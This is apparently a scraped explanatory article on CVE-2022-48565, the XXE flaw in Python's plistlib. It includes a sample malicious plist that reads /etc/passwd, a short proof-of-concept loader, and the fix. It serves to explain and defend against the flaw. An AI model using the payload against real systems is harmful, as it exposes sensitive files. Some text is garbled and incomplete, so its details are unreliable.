CVE-2022-48565 - How a plistlib Bug in Python Led to an XXE Security Vulnerability
In early 2023, security researchers identified a serious vulnerability in Python, specifically in its plistlib module, tracked as CVE-2022-48565. This issue made Python code that parses XML property list files (plists) exposed to an XML External Entity (XXE)_Processing) attack. In simple terms, a crafted XML file could trick Python code into leaking sensitive files, or even connecting out to the internet.
In this article, we’ll explain what happened, show a real exploit, and clarify how the Python team fixed it. If you work with macOS devices, handle plists, or process XML in Python, read on.
What Is plistlib and Why Should You Care?
plistlib is the standard way in Python to read and write property list files, especially on macOS. Property lists, or plists, are files that store configuration data and are commonly used on Apple platforms.
Older plists were XML files, and that’s where the trouble starts.
When you load a plist like this
import plistlib
with open("example.plist", "rb") as fp:
data = plistlib.load(fp)
Python’s plistlib under the hood parses the XML. If this XML is hostile, bad things can happen.
What Is an XXE Vulnerability?
XML External Entity_Processing) vulnerabilities come from using XML features that let you pull in content from outside the file. For instance, someone could write an XML tag that says, “Instead of this value, open and use the contents of /etc/passwd.”
If your code parses such malicious XML, it’ll likely expose the contents of files the attacker shouldn’t see.
Here’s a simplified malicious plist file called evil.plist
<?xml version="1." encoding="UTF-8"?>
<!DOCTYPE plist [
<!ENTITY secret SYSTEM "file:///etc/passwd">
]>
<plist version="1.">
<dict>
<key>data</key>
<string>&secret;</string>
</dict>
</plist>
- <!ENTITY secret SYSTEM "file:///etc/passwd"> makes a new entity called secret that loads in the contents of the /etc/passwd file.
- <string>&secret;</string> uses this new entity.
If Python’s plistlib parses this file and doesn't stop entity declarations, the value of data will be the whole contents of /etc/passwd.
Here’s a proof of concept
import plistlib
with open("evil.plist", "rb") as fp:
data = plistlib.load(fp)
print(data['data']) # Will print content of /etc/passwd if not patched!
If your Python is vulnerable (up to 3.9.1), you’ll see the contents of /etc/passwd.
If the plist references a remote URL, your server could be tricked into making web requests to an attacker-controlled server.
The Python Security Patch
The Python team’s fix was straightforward: Disallow any plist file with entity declarations.
- If you use a safe Python (3.9.2+ or with patch), the above attack will fail
- plistlib.load() will raise an error like: ExpatError: entity declarations are not allowed in this context.
- Python 3.9.2 changelog entry:
Example: Real-World Exploit Chain
Scenario:
A web service allows users to upload and parse arbitrary plist files for configuration or conversion.
1. What's Your Python Version?
python -c "import sys; print(sys.version)"
If it’s 3.9.1 or lower, you are vulnerable.
2. Test Behavior
Try loading a simple XXE test plist using plistlib as above. If you see error about entity declarations, you are safe.
Resources and References
- CVE-2022-48565 Summary (NVD)
- Python security fix PR
- Python 3.9.2 Changelog on plistlib fix
- OWASP: XML External Entity (XXE)_Processing)
Summary
CVE-2022-48565 is a prime example of how even a “safe” standard library can be a risk if parsing data from untrusted sources. The fix is simple: always keep Python updated and restrict what your app can read. If you work with XML or plists, double-check your code today.
Timeline
Published on: 08/22/2023 19:16:00 UTC
Last modified on: 10/11/2023 23:15:00 UTC